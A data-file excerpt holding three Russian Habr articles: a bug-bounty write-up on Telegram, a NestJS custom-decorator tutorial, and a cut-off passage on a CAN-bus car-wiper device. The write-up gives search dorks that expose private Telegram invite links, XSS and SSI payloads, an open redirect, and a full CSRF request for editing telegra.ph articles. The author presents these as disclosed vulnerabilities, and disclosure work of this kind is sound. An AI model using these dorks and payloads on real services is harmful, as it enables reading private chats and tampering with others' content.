text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# [BugBounty] Раскрытие 5 миллионов ссылок в приватные чаты Telegram и возможность редактирования любой статьи telegra.ph
Вот уже больше года я пользуюсь мессенджером Telegram: это удобно и, насколько мне казалось, полностью конфиденциально. Так как я исследователь безопасности web-приложений, то должен был проверить соответствующую версию приложения на уязвимости. Я не видел в этом острой необходимости из-за репутации мессенджера как «самого защищенного». Я думал, что зря потрачу своё время и ничего не найду. Но недавно, тестируя один сайт, который взаимодействовал с доменом t.me, мне довелось усомниться в безопасности Тelegram, и решимость проверить его на уязвимости быстро возросла.
Всё началось с того, что я проверял на уязвимости сайт своего клуба, где ранее мной была куплена подписка на рекомендации по покупке криптовалюты.
Регистрация на сайте доступна только по реферальным (пригласительным) ссылкам, а так же есть раздел для отправки сообщения куратору [example.com/profile#curator](https://example.com/profile#curator). После тестирования здесь не оказалось ни csrf, ни xss, ни какой-либо другой уязвимости. Но особое внимание привлек раздел с сообщениями [example.com/messages](https://example.com/messages), где была представлена переписка с моим куратором [example.com/msg132591](https://example.com/msg132591). Я решил проверить этот url на iDOR уязвимость, увеличив id на одну позицию, и уязвимость подтвердилась — я увидел личные данные другого пользователя. Так как на сайте не было функции для отправки сообщения другим юзерам, мы можем с точностью говорить об iDOR + Disclosure Information.
Двигаемся дальше — покупаем товар, после его успешной покупки происходит редирект на этот url [example.com/?pay\_act=success&text=Вы%20успешно%20%20купили%20продукт](https://example.com/?pay_act=success&text=Вы%20успешно%20%20купили%20продукт), при этом, текст можно редактировать — в основном, символы фильтруются, но есть место, где текст попадает в и никакой фильтрации нет. Пишем вот такой payload и отсылаем PoC владельцам ресурса. Также там был намёк на Server Side Include, но exec cmd отключена, при таком пейлоаде `--#exec cmd="ls" -->` (swal(' ', '"-->\'-->`-->[an error occurred while processing the directive](none).
Также, заметил страницу с товарами [example.com/?pageid=13156](https://example.com/?pageid=13156), там нашлась слепая sql injection. В качестве доказательства опасности меня попросили предоставить названия бд и таблиц. Руками раскручивать слепую скуль очень долго, поэтому на помощь пришла программа sqlmap:
После этих трёх уязвимостей была обнаружена CSRF в изменении личных данных, которая вела к захвату аккаунта путём восстановления по email, Stored XSS, а также мелкий баг, который позволял купить товар за цену в два раза меньше, чем его оглашенная стоимость. Главной опасностью этих всех уязвимостей (не считая sql injection), на мой взгляд, была рассылка по спарсеным email-адресам, ссылки на xss в связке с csrf и вывод реферальных начислений на реквизиты злоумышленника. Затем нашлась та самая уязвимость, которая заставила меня усомниться в безопасности telegram для web.
Обычно, в разделе настроек присутствует кнопка для подключения бота, с помощью которого можно получать рекомендации на торги криптовалютой. Кнопка привязана к такой ссылке [t.me/Another\_bot?start=CODE](https://t.me/Another_bot?start=CODE).
Имея привычку постоянно проверять чувствительные данные в url на размещение в поисковиках (например, я находил дорк [twitter](https://www.google.fr/search?q=site:twitter.com+inurl:username_or_email) или [обменников](https://yandex.ru/search/?text=site%3Avmex.info%20inurl%3Acontrol)), на этот раз я проверил t.me. Дорк получился такой: site:t.me inurl:Another\_bot?start=. Мне выдало один код, и, успешно залогинившись в бота, я начал получать инсайды стоимостью $500, смог увидеть ФИО партнеров и баланс аккаунта.
Судя по тому, что код к телеграмм-боту появился в поисковике, на t.me присутствуют явные проблемы с запретом индексации конфиденциального контента. Это происходит из-за того, что поисковикам это разрешили. А разрешено им это потому, что нету запретов в файле robots. При попытке его просмотреть [t.me/robots.txt](https://t.me/robots.txt) происходит редирект на страницу пользователя, то есть, этого файла не существует.
Из-за отсутствия robots файла вырисовывается **уязвимость Disclosure Information**. Крафтим дорки для того, чтобы показать опасность уязвимости:
**1)** Некоторые пользователи используют email в качестве имени или username. Вся эта информация попадает в поисковик, хотят пользователи этого или нет <https://www.google.ru/search?q=site:t.me+%40gmail.com>. Раскрывается 11600 gmail адресов, 1500 yahoo, а также mail.ru, hotmail и qq.com. Но такое раскрытие — спорное доказательство опасности, потому что это публичная информация.
**2)** Раскрывается 5 000 000 ссылок для доступа в приватные чаты и каналы. Более того, с каждым днём эта цифра растёт, потому что нет robots.txt. <https://www.google.ru/search?q=site%3At.me+join>.
Первая проблема, на мой взгляд, в том, что ссылки на приватные чаты/каналы останутся в поисковиках навсегда, их невозможно будет удалить. А ведь многие люди доверяют Telegram, долгое время не меняя ссылки для доступа. А может быть, и никогда не поменяют, думая, что их переписки полностью конфиденциальны. Но это не так: теперь любой человек может прочитать переписку сотрудников, силовик может узнать о заговоре террористов, а твоя девушка о том, что Ленка из соседнего двора не просто «старая знакомая из детства». Сам факт слива такого большого количества ссылок для доступа «сводит концепцию приватных чатов на нет».
Вторая, не менее волнительная проблема, заключается в том, что разработчики абсолютно «беззаботно» относятся к данной уязвимости, и с каждым днём количество ссылок увеличивается. Если во время моего репорта (7 января) в Google было **900 000 таких ссылок**, то сейчас их **5 000 000**! Я согласен с тем, что среди всех этих ссылок есть «кликбейтные» телеграмм-каналы, которые в рекламных постах используют ссылки t.me/joinchat/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* для того, чтобы «набивать» количество подписчиков, но также там есть очень много приватных чатов и других каналов. До сих пор разработчики не добавили robots.txt на t.me (прошло больше трёх месяцев с момента репорта), и, думается, никогда уже и не добавят. Было бы желание, добавили бы сразу, это ведь совсем не сложно — просто загрузить txt файл в индекс сайта.
Просматривая дорки, я обнаружил вот такой интересный url <https://www.t.me/iv?url=https://www.yashahid.com/9173/>. Интересно здесь то, что это ссылка не на канал/человека, а прямой редирект на сайт ИГИЛ (скорее всего), и только этот сайт использует /iv? с 2015 года по сегодняшний день. В контактах тоже указана ссылка [www.t.me/iv?url=https](http://www.t.me/iv?url=https)://www.yashahid.com/9173.
Подставляем другой сайт в url= для тестирования [t.me/iv?url=https](https://t.me/iv?url=https)://securityz.net, всё сработало — это **вторая уязвимость** в Telegram — Open Redirect, можно использовать как proof of concept, [Open Bug Bounty](https://www.openbugbounty.org/reports/500512/) подтвердил наличие и устранение. Уязвимость позволяет сделать прямой редирект из t.me на любой фишинговый сайт, скачивание трояна, вредоносный js (например, js майнер или использование последнего 0-day в процессорах intel) и др.
После этого, я двинулся к сервису создания статей от Telegram — telegra.ph. Редактировать чужие записи нельзя, xss нету(наверное, bo0om всё нашёл), поддоменов всего один, брут директорий так же ничего не дал. Я создал тестовую статью и попытался её отредактировать — в ответ на это действие отправляется вот такой запрос
```
POST /save HTTP/1.1
Host: edit.telegra.ph
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://telegra.ph/img-srcx-onerrorprompt1qw22qw-01-18
Content-Type: multipart/form-data; boundary=---------------------------TelegraPhBoundary21
Content-Length: 1273
Origin: http://telegra.ph
Cookie: tph_uuid=80SI6VtGetOhKd5LaFjBRtK7I6EsdW0lWS21LvFZWt
Connection: close
-----------------------------TelegraPhBoundary21
Content-Disposition: form-data; name="Data";filename="content.html"
Content-type: plain/text
[{"tag":"p","children":[{"tag":"br"}]},{"tag":"figure","children":[{"tag":"div","attrs":{"class":"figure_wrapper"},"children":[{"tag":"img","attrs":{"onerror":"alert(1)"}}]},{"tag":"figcaption","children":[""]}]},{"tag":"p","children":[{"tag":"br"}]},{"tag":"figure","children":[{"tag":"div","attrs":{"class":"figure_wrapper"},"children":[{"tag":"video","attrs":{"src":"<http://telegra.ph/file/a805d892df19325688e25.mp4>","preload":"auto","autoplay":"autoplay","loop":"loop","muted":"muted"}}]},{"tag":"figcaption","children":[""]}]},{"tag":"p","children":["\">![]()qw{{2+2}}qw"]}]
-----------------------------TelegraPhBoundary21
Content-Disposition: form-data; name="title"
">![]()
-----------------------------TelegraPhBoundary21
Content-Disposition: form-data; name="author"
-----------------------------TelegraPhBoundary21
Content-Disposition: form-data; name="author_url"
-----------------------------TelegraPhBoundary21
Content-Disposition: form-data; name="page_id"
3b25803ca519a088c0c75
-----------------------------TelegraPhBoundary21--
```
Судя по этому запросу, для того, чтобы отредактировать статью на telegraph, нужен только номер страницы page\_id и чтобы автор статьи перешёл по ссылке нашего эксплойта. То есть никакой защиты, например csrf токенов, здесь попросту нет.
**Третья уязвимость** — это CSRF. Я выяснил, что токен находится в исходнике статьи, например, статье [telegra.ph/Durov-01-22](http://telegra.ph/Durov-01-22) принадлежит id 7f0d501375c9e2acbd1ef:
```
var T={"apiUrl":"https:\/\/edit.telegra.ph","datetime":1516653676,"pageId":"7f0d501375c9e2acbd1ef"};(function(){var b=document.querySelector('time');if(b&&T.datetime){var a=new Date(1E3\*T.datetime),d='January February March April May June July August September October November December'.split(' ')[a.getMonth()],c=a.getDate();b.innerText=d+' '+(10>c?'0':'')+c+', '+a.getFullYear()}})();
```
Так как статью можно ещё редактировать очень долгое время, мы просто узнаем page id, делаем автоматический эксплойт и успешно изменяем запись.
Видео
C помощью telegra.ph создается большое количество статей, поэтому эта уязвимость будет очень ценной для злоумышленников, так как позволяет изменить, например:
* — статью с важной новостью;
* — статью с обновлением криптовалютного кошелька (и любого другого сайта);
* — статью, где есть реф. ссылки, заменяя их на свои — на этом, кстати, можно заработать очень много денег — в своей статье [habrahabr.ru/post/343152](https://habrahabr.ru/post/343152/) я рассказывал о том, как некий инвестор заработал на публикации своей реф. ссылки $300 000, и, так как его контакты всем известны, можно было сбросить ему эксплойт, подменить реф ссылку, и это действие было бы незаметным.
Я отправил эти уязвимости на security@telegram.org, как и сказано в их [сообщении о bug bounty](https://telegram.org/faq#security), также, упоминание о bug bounty есть на площадке [BugCrowd](https://www.bugcrowd.com/bug-bounty-list/).
 | https://habr.com/ru/post/347910/ | null | ru | null |
# Кастомные декораторы для NestJS: от простого к сложному
[](https://habr.com/ru/company/qiwi/blog/510864/)
Введение
--------
NestJS — стремительно [набирающий популярность](https://www.npmtrends.com/@nestjs/common) фрeймворк, построенный на идеях IoC/DI, модульного дизайна и декораторов. Благодаря последним, Nest имеет лаконичный и выразительный синтаксис, что повышает удобство разработки.
Декораторы или аннотации — наследники [аспектов](https://en.wikipedia.org/wiki/Aspect-oriented_programming), которые позволяют декларативно описывать логику, модифицировать поведение классов, их свойств, аргументов и методов.
Технически декораторы — это просто функции, но их вызовом полностью управляет компилятор.
Важная особенность заключается в том, что в зависимости от контекста, сигнатуры аргументов будут различаться. Материалов на эту тему существует довольно много, однако мы сосредоточимся на специфике, связанной непосредственно с Nest.
Базовые декораторы
------------------
Возьмем простейший http-контроллер. Допустим, нам требуется, чтобы только определенные пользователи могли воспользоваться его методами. Для этого кейса в Nest есть встроенная функциональность [гардов](https://docs.nestjs.com/guards).
Guard — это комбинация класса, реализующего интерфейс `CanActivate` и декоратора `@UseGuard`.
```
@Injectable()
export class RoleGuard implements CanActivate {
canActivate(
context: ExecutionContext,
): boolean | Promise | Observable {
const request = context.switchToHttp().getRequest();
return getRole(request) === 'superuser'
}
}
@Controller()
export class MyController {
@Post('secure-path')
@UseGuards(RoleGuard)
async method() {
return
}
}
```
Захардкоженный `superuser` — не самое лучшее решение, куда чаще нужны более универсальные декораторы.
Nest в этом случае [предлагает использовать](https://docs.nestjs.com/guards#setting-roles-per-handler) декоратор `@SetMetadata`. Как понятно из названия, он позволяет ассоциировать метаданные с декорируемыми объектами — классами или методами.
Для доступа к этим данным используется экземпляр класса `Reflector`, но можно и напрямую через [reflect-metadata](https://github.com/rbuckton/reflect-metadata).
```
@Injectable()
export class RoleGuard implements CanActivate {
constructor(private reflector: Reflector) {}
canActivate(
context: ExecutionContext,
): boolean | Promise | Observable {
const role = this.reflector.get('role', context.getHandler());
const request = context.switchToHttp().getRequest();
return getRole(request) === role
}
}
@Controller()
export class MyController {
@Post('secure-path')
@SetMetadata('role', 'superuser')
@UseGuards(RoleGuard)
async test() {
return
}
}
```
Композитные декораторы
----------------------
Декораторы зачастую применяются в связках.
Обычно это обусловлено тесной связностью эффектов в каком-то бизнес-сценарии. В этом случае имеет смысл объединить несколько декораторов в один.
Для композиции можно воспользоваться утилитной функцией [applyDecorators](https://docs.nestjs.com/custom-decorators#decorator-composition).
```
const Role = (role) => applyDecorators(UseGuards(RoleGuard), SetMetadata('role', role))
```
или написать агрегатор самим:
```
const Role = role => (proto, propName, descriptor) => {
UseGuards(RoleGuard)(proto, propName, descriptor)
SetMetadata('role', role)(proto, propName, descriptor)
}
@Controller()
export class MyController {
@Post('secure-path')
@Role('superuser')
async test() {
return
}
}
```
Полиморфные декораторы
----------------------
Легко столкнуться с ситуацией, когда оказывается нужным задекорировать все методы класса.
```
@Controller()
@UseGuards(RoleGuard)
export class MyController {
@Post('secure-path')
@Role('superuser')
async test1() {
return
}
@Post('almost-securest-path')
@Role('superuser')
async test2() {
return
}
@Post('securest-path')
@Role('superuser')
async test3() {
return
}
}
```
Такой код можно сделать чище, если повесить декоратор на сам класс. И уже внутри декоратора класса обойти прототип, применяя эффекты на все методы, как если бы декораторы были повешены на каждый метод по-отдельности.
Однако для этого обработчику необходимо различать типы объектов применения — класс и метод — и в зависимости от этого выбирать поведение.
Реализация [декораторов в typescript](https://www.typescriptlang.org/docs/handbook/decorators.html) не содержит этот признак в явном виде, поэтому его приходится выводить из сигнатуры вызова.
```
type ClassDecorator = (target: TFunction) => TFunction | void;
type MethodDecorator = (target: Object, propertyKey: string | symbol, descriptor: TypedPropertyDescriptor) => TypedPropertyDescriptor | void;
type ParameterDecorator = (target: Object, propertyKey: string | symbol, parameterIndex: number) => void;
const Role = (role: string): MethodDecorator | ClassDecorator => (...args) => {
if (typeof args[0] === 'function') {
// Получение конструктора
const ctor = args[0]
// Получение прототипа
const proto = ctor.prototype
// Получение методов
const methods = Object
.getOwnPropertyNames(proto)
.filter(prop => prop !== 'constructor')
// Обход и декорирование методов
methods.forEach((propName) => {
RoleMethodDecorator(
proto,
propName,
Object.getOwnPropertyDescriptor(proto, propName),
role,
)
})
} else {
const [proto, propName, descriptor] = args
RoleMethodDecorator(proto, propName, descriptor, role)
}
}
```
Есть вспомогательные библиотеки, которые берут на себя часть этой рутины: [lukehorvat/decorator-utils](https://github.com/lukehorvat/decorator-utils), [qiwi/decorator-utils](https://github.com/qiwi/decorator-utils).
Это несколько улучшает читаемость.
```
import { constructDecorator, CLASS, METHOD } from '@qiwi/decorator-utils'
const Role = constructDecorator(
({ targetType, descriptor, proto, propName, args: [role] }) => {
if (targetType === METHOD) {
RoleMethodDecorator(proto, propName, descriptor, role)
}
if (targetType === CLASS) {
const methods = Object.getOwnPropertyNames(proto)
methods.forEach((propName) => {
RoleMethodDecorator(
proto,
propName,
Object.getOwnPropertyDescriptor(proto, propName),
role,
)
})
}
},
)
```
Совмещение в одном декораторе логики для разных сценариев дает очень весомый плюс для разработки:
вместо `@DecForClass`, `@DecForMethood`, `@DecForParam` получается всего один многофункциональный `@Dec`.
Так, например, если роль пользователя вдруг потребуется в бизнес-слое контроллера, можно просто расширить логику `@Role`.
Добавляем в ранее написанную функцию обработку сигнатуры декоратора параметра.
Так как подменить значение параметров вызова напрямую нельзя, [createParamDecorator](https://docs.nestjs.com/custom-decorators#param-decorators) делегирует это вышестоящему декоратору посредством метаданных.
И далее именно декоратор метода / класса будет резолвить аргументы вызова (через очень длинную цепочку от [ParamsTokenFactory](https://github.com/nestjs/nest/blob/ae1988be3c681fcc6d985d795107b18313fe1358/packages/core/pipes/params-token-factory.ts) до [RouterExecutionContext](https://github.com/nestjs/nest/blob/bf10f001c855997d2887129c467b313101d7e219/packages/core/router/router-execution-context.ts#L383)).
```
// Сигнатура параметра
if (typeof args[2] === 'number') {
const [proto, propName, paramIndex] = args
createParamDecorator((_data: unknown, ctx: ExecutionContext) => {
return getRole(ctx.switchToHttp().getRequest())
})()(proto, propName, paramIndex)
}
```
Также стоит отметить, что при помощи метадаты можно решать разные интересные кейсы, например, вводить ограничения для повторяемости или сочетаемости аннотаций.
Предположим, нам потребовалось ограничение размера запроса, и [соответствующий декоратор](https://github.com/qiwi/nestjs-enterprise/tree/master/packages/common#requestsize) повесили дважды. Какому значению доверять?
Без знания логики компилятора возникает неопределенность. Правильнее, наверное, было бы бросить ошибку.
```
class SomeController {
@RequestSize(1000)
@RequestSize(5000)
@Post('foo')
method(@Body() body) {
}
}
```
Вот другой пример: необходимо ограничить работу методов контроллера [отдельными портами](https://github.com/qiwi/nestjs-enterprise/tree/master/packages/common#port). Здесь, скорее, требуется не затирать предыдущие значения, а добавлять новые к имеющимся.
```
class SomeController {
@Port(9092)
@Port(8080)
@Post('foo')
method(@Body() body) {
}
}
```
Схожая ситуация возникает с ролевой моделью.
```
class SomeController {
@Post('securest-path')
@Role('superuser')
@Role('usert')
@Role('otheruser')
method(@Role() role) {
}
}
```
Обобщая рассуждения, реализация декоратора для последнего примера с использованием `reflect-metadata` и полиморфного контракта может иметь вид:
```
import { ExecutionContext, createParamDecorator } from '@nestjs/common'
import { constructDecorator, METHOD, PARAM } from '@qiwi/decorator-utils'
@Injectable()
export class RoleGuard implements CanActivate {
canActivate(context: ExecutionContext): boolean | Promise {
const roleMetadata = Reflect.getMetadata(
'roleMetadata',
context.getClass().prototype,
)
const request = context.switchToHttp().getRequest()
const role = getRole(request)
return roleMetadata.find(({ value }) => value === role)
}
}
const RoleMethodDecorator = (proto, propName, decsriptor, role) => {
UseGuards(RoleGuard)(proto, propName, decsriptor)
const meta = Reflect.getMetadata('roleMetadata', proto) || []
Reflect.defineMetadata(
'roleMetadata',
[
...meta, {
repeatable: true,
value: role,
},
],
proto,
)
}
export const Role = constructDecorator(
({ targetType, descriptor, proto, propName, paramIndex, args: [role] }) => {
if (targetType === METHOD) {
RoleMethodDecorator(proto, propName, descriptor, role)
}
if (targetType === PARAM) {
createParamDecorator((\_data: unknown, ctx: ExecutionContext) =>
getRole(ctx.switchToHttp().getRequest()),
)()(proto, propName, paramIndex)
}
},
)
```
Макродекораторы
---------------
Nest спроектирован таким образом, что его собственные декораторы удобно расширять и переиспользовать. На первый взгляд довольно сложные кейсы, к примеру, связанные с добавлением поддержки новых протоколов, реализуются парой десятков строк обвязочного кода. Так, стандартный `@Controller` можно «[обсахарить](https://github.com/qiwi/json-rpc/tree/master/packages/nestjs)»
для работы с [JSON-RPC](https://en.wikipedia.org/wiki/JSON-RPC).
Не будем останавливаться на этом подробно, это слишком бы далеко вышло за формат этой статьи, но покажу основную идею: на что способны декораторы, в сочетании с Nest.
```
import {
ControllerOptions,
Controller,
Post,
Req,
Res,
HttpCode,
HttpStatus,
} from '@nestjs/common'
import { Request, Response } from 'express'
import { Extender } from '@qiwi/json-rpc-common'
import { JsonRpcMiddleware } from 'expressjs-json-rpc'
export const JsonRpcController = (
prefixOrOptions?: string | ControllerOptions,
): ClassDecorator => {
return (target: TFunction) => {
const extend: Extender = (base) => {
@Controller(prefixOrOptions as any)
@JsonRpcMiddleware()
class Extended extends base {
@Post('/')
@HttpCode(HttpStatus.OK)
rpc(@Req() req: Request, @Res() res: Response): any {
return this.middleware(req, res)
}
}
return Extended
}
return extend(target as any)
}
}
```
Далее необходимо извлечь `@Req()` из `rpc-method` в мидлваре, найти совпадение с метой, которую добавил декоратор `@JsonRpcMethod`.
Готово, можно использовать:
```
import {
JsonRpcController,
JsonRpcMethod,
IJsonRpcId,
IJsonRpcParams,
} from 'nestjs-json-rpc'
@JsonRpcController('/jsonrpc/endpoint')
export class SomeJsonRpcController {
@JsonRpcMethod('some-method')
doSomething(
@JsonRpcId() id: IJsonRpcId,
@JsonRpcParams() params: IJsonRpcParams,
) {
const { foo } = params
if (foo === 'bar') {
return new JsonRpcError(-100, '"foo" param should not be equal "bar"')
}
return 'ok'
}
@JsonRpcMethod('other-method')
doElse(@JsonRpcId() id: IJsonRpcId) {
return 'ok'
}
}
```
Вывод
-----
Декораторы Nest адаптируются к широкому спектру прикладных задач. В них легко переносится утилитная и бизнесовая логика. Их несложно расширять, композировать, совмещая несколько сценариев. И в этом, без сомнения, одна из сильных сторон фреймворка.
Однако важно помнить, что синтаксис декораторов сегодня все еще является экспериментальным, а их чрезмерное использование может дать обратный эффект, и сделать ваш код более запутанным. | https://habr.com/ru/post/510864/ | null | ru | null |
# Умные дворники: автоматизируем автомобиль
Меня давно "волновала" микроэлектроника, но все как-то не получалось. Простые поделки из Arduino и т.п. не заводили, не было какой-то идеи, которая бы приносила пользу.
Disclaimer
----------
Стоит заметить, что в электронике в целом я дилетант, закон Ома регулярно гуглю, а для всех основных электронных компонентов держу в голове аналогии на "шлангах с водой".
Данный опус стоит расценивать как иллюстрацию "пути", набора ошибок и описания граблей. Опыт изготовления устройства был, как говорится, больше полезный, чем приятный. Многие вещи описываются очень упрощенно. Наверняка специалисты, варящиеся в этой каше сильно больше моего, найдут много неточностей в формулировках.
### Идея
Началось все с сообщения в одном из Telegram-каналов любителей CAN-хакинга.
> CAN - шина, применяемая в автомобилях для соединения блоков между собой. В современном автомобиле практически все мало-мальски управляемые компоненты связаны шиной и обмениваются друг с другом посылками. Конкретно в моем Opel Astra H 2011 года выпуска на этой шине сидят педали (тормоз и сцепление все же механические, но в шине видно когда педаль нажата), блок управления двигателем, блок предохранителей, ABS, ГУР, подрулевые переключатели, приборка, магнитола. Список можно продолжать.
>
> Более того, в данном автомобиле шин не одна а целых три.
>
>
Завсегдатай канала писал...
> Идея для LS модуля.
>
> Когда выключаем двигатель (обороты = 0), ключ переведен в положение блокировки из ацц, если температура за бортом менее 4 градусов, нажимаем первое положение дворников на 1700 миллисекунд.
>
>
Это была классная, простая и полезная идея. Кто не мучался с примерзшими дворниками зимой? "Первое положение дворников" на Opel - это парковка. Они встают в произвольное (зависит от того, сколько держишь подрулевой переключатель нажатым) положение и там остаются, не возвращаются в нулевое положение. 1.7 сек это примерно вертикально. Стекло теплое, дворники встали вертикально что способствует лучшему стеканию воды. А если и примерзли - в таком положении они все в зоне обдува печки.
Да, можно "по дедовски" "отогнуть" их руками от стекла, но на мой взгляд это не эстетично. Ну и программисты же народ ленивый - зачем делать руками то, что за тебя может сделать автоматика? Да, еще говорят пружина "поводка" растягивается )
У меня к этому моменту уже был опыт сборки микроконтроллера и связи его с CAN-шиной на примере другого проекта (он пока не доделан, поэтому расскажу о нем позже) и я решил запилить.
### Дизайн
Принципиальную схему нарисовал за пару часов. Для решения данной задачки нужен микроконтроллер (я использовал STM32), трансивер CAN-шины (сигналы по шине передаются несколько "специфическим" образом, об этом ниже, и чтобы подружить шину с контроллером нужен трансивер) и преобразователь питания (в авто, как мы знаем, 12 вольт, а STM32 работает от 3.3, нужно понижать).
На этом этапе решил заложить в устройство бОльшие возможности, чем просто подъем дворников.
Принципиальная схема. Итоговый вариант, после всех доработок, описанных далееВ Opel Astra H три CAN-шины. Первая - HS, High Speed (скорость 500 kbit/sec). На ней сидит... а толком не известно что на ней сидит, потому что официальной информации нет и все собирается энтузиастами по крупицам путем реверс-инжинеринга и сниффинга шины. Высокая скорость обмена подразумевает большие объемы передаваемой информации, высокую скорость отклика. Насколько мне известно, на этой шине сидят жизненно важные (как для самого автомобиля так и для пассажиров) устройства. Лезть в нее просто так дело неблагодарное, ее вычеркнул сразу.
Вторая шина - MS, Medium Speed (95 kbit/sec). Тут уже много интересно. Тут и подрулевые переключатели, и магнитола, и куча данных о состоянии автомобиля: температура за бортом, температура двигателя. С помощью этой шины можно ловить все кнопки что есть на руле и на магнитоле, можно выводить данные на штатный экран. Ее полезно как слушать, так и использовать для записи. Задействуем ее на будущее, но для решения задачи этого будет недостаточно.
Третья шина - LS, Low Speed (33.3 kbit/sec). Тут частично продублированы данные, которые уже есть в MS. Также тут хорошо видно состояние двигателя (заведен или нет). И самое главное - тут сидят дворники. То есть отправив нужную телеграмму в эту шину, можно управлять положением дворников. Берем.
Принципиальную схему устройства и печатную плату под него я рисовал в KiCad. Первая версия выглядела как-то так:
Все выполнил на одной стороне. Левая часть - питание, преобразователь из 12 в 3.3, центр - микроконтроллер STM32F105 и всякая рассыпуха для него (большая часть - фильтрующие и питающие конденсаторы), правая часть - CAN-трансиверы и дополнительные разъемы для Serial Wire (для прошивки и отладки контроллера) и UART (для мониторинга и вывода отладочной информации).
Зоркий глаз заметит, что на плате отсутствует тактовый генератор. Изначально решил, что можно без него, в STM32 есть встроенный, частоты которого хватило бы, чтобы запустить чип и выдать нужную скорость на трансивер. Но умные люди подсказали, что встроенный генератор не отличается стабильностью. А для CAN-шины уплывшая в неподходящий момент скорость может оказаться губительной (об этом, кстати, будет интересная история). Ок, добавляем кварц.
Кстати, вот так выглядит экран настройки тактирования STM32:
А стоп, погодите, не тот скриншот. Хотя согласитесь, перепутать не сложно:
Плату хотелось развести так, чтобы "было красиво". Старался сделать все симметрично. Размеры посадочных мест выбирал такие, чтобы было удобно паять и в принципе реально запаять человеку без богатого опыта пайки. Вся мелочь выбиралась под 1206 (они же 3216). 3216 это размеры контактной площадки в миллиметрах (а 1206 в дюймах) - 3.2 мм в длину и 1.6 мм в ширину. Или наоборот... Не важно, короче они достаточно мелкие ) но вполне паяются руками обычным паяльником (обычным - это не тем которым батя в детстве чайники и тазы запаивал, а обычным для микроэлектроники). К слову есть еще 1608 (1.6 на 0.8) и 1105 (1.1 на 0.5).
Чтобы лучше представить размер - вот картинка (не моя). Еще можно погуглить SMD Challenge.
### Монтаж в авто
Первый вариант дизайна предполагал монтаж "на проводах". Захотелось сделать более user friendly устройство. Чтобы не бояться за его изоляцию, отрыв проводов и т.п. Хотелось чтобы прямо plug-and-play.
Нашел на Aliexpress разные OBD разъемы под пайку (OBD-II, римская 2, не ЭлЭл, так называется типовой диагностический разъем в большинстве современных автомобилей), нашел примерные размеры. Сел переделывать плату...
Поставил себе задачу - уместить все на плате размером с сам OBD-разъем. Задачка получилась не из легких - OBD-разъем содержит 16 пинов которые стоят с довольно большим шагом чтобы занимать большую часть площади разъема, но в то же время с маленьким шагом, недостаточным для того, чтобы разместить компоненты между ними.
Где-то подсмотрел дизайн в форме стэка двух плат, соединенных вертикально контактными гребенками. Получилось как-то так:
На "нижней" плате на данной картинке не настоящий OBD. В тот момент я еще не нашел готового посадочного места и заменил его чем-то отдаленно похожим (сходство было настолько отдаленным, что оно было только в количестве контактов). Попутно перенес почти всю "рассыпуху" на нижнюю сторону платы, т.к. ей перестало хватать места на верхней стороне. Ну и еще для красоты и эстетики - на виду оставил только "красивые" компоненты.
Да, вот так примерно выглядит разводка, платы:
До первого заказа готовой платы было еще несколько итераций. Менял посадочные места компонентов чтобы все влезло и было удобно паять. Например кварц с through hole (когда из него торчат две длинные ноги которые надо пропустить через плату насквозь) заменил на SMD.
### Заказываем плату
Тут ничего хитрого. Заказывал на JLCPCB в Китае. Заказал только верхнюю плату для отладки дизайна и пробной сборки. Минимальная партия - 5 штук. Вышла что-то около 200-300 рублей за партию. Отправляем архив с файлами, которые экспортирует KiCad, настраиваем параметры (цвет платы, толщина, обработка, и т.п.), засылаем деньги, ждем. От момента заказа до момента получения на почте проходит примерно 2 недели. Сам заказ выполняется очень быстро.
### Паяем
Из оборудования для пайки у меня был только современный паяльник TS-100 купленный на Алике.
TS-100 обыкновенный, с дефолтным жаломЧем хорош такой паяльник: он питается от 12 вольт, легкий, удобный, имеет возможность смены жала (много разных форм под разные задачи), быстро нагревается, имеет возможность настройки и калибровки. Более того, ему даже можно сменить прошивку. Да, у паяльника есть прошивка и ее можно обновить.
Изначально я заказал жало ровно как на фото выше. Оказалось что паять им SMD компоненты крайне неудобно. Умные люди посоветовали взять "топор".
Топор - это жало TS-K или TS-KU:
TS-KU. Правильный топорИм можно даже при определенной сноровке за раз запаивать сразу несколько компонентов или пропаять сразу несколько ног у STM-ки.
Первая версия платы была спаяна топором.
### Ошибки при пайке
При пайке допустил ошибку. По старинке сперва залудил посадочные места, затем пытался припаять к ним компоненты. В итоге получалось, что когда одна площадка нагрета и слой припоя расплавлен, на соседней площадке припой естественно застывший и компонент "перекашивает". Он как бы стоит немного на ребре. В результате это а) не эстетично и б) компонент может треснуть, как следствие - работать некорректно.
Правильно: сперва мажем площадки флюсом, на него сажаем компонент. У меня был индикаторный флюс TT, достаточно густой чтобы компонент как бы приклеился на него как на клей. Затем берем на жало припой, компонент прижимаем пинцетом и припаиваем одну из контактных площадок. Затем повторяем со второй. Крутые "паятели" умеют за одно прикосновение припаивать обе площадки, но я такую суперсилу еще не освоил.
После пайки излишки флюса лучше удалить во избежании потенциальных КЗ. Да, есть флюс "безотмывочный", который не проводит. Но мне просто не нравится как плата выглядит под слоем остатков флюса. После пайки мою ее спиртом.
### Жгем чип или притча о земле
На удивление плата запустилась с первого раза. Прошивальщик увидел чип и смог залить в него прошивку (о ней чуть позже). Тестовая прошивка почти ничего не умела. Зажигала светодиод (их было целых три - на фото выше они под чипом, какая же микроэлектроника без светодиодов?), инициализировала CAN-шину и отправляла Hello World в UART.
Лампочки горели, UART присылал Hello World. Все шло как-то слишком гладко...
Изначально при отладке, я питал плату от 3.3 вольт, полученных от прошивальщика STLink. То есть в момент первого запуска и отладки преобразователь с 12 на 3.3 не был задействован вообще, на плату не приходило 12 В.
Решил проверить преобразователь. Отключил прошивальщик, отключил UART, подключил +12 V к плате. На удивление все прошло хорошо. Дым не пошел, померял мультиметром - на чипе были стабильные 3.3 V, лампочка горит. Отлично! Что может пойти не так? Подключил обратно UART - а там тихо. Дальше я потратил примерно час или два времени в попытке понять что же не так. Терминал молчал. Чип отвечал на прошивку, но подозрительно игнорировал попытку отладить себя, сваливался в какие-то дикие исключения. Был бы он Linux'ом, наверняка бы сдампил кору. Перевел обратно на 3.3 V, поменял UART-USB преобразователь, 100500 раз перепрошил - все безуспешно, не работает.
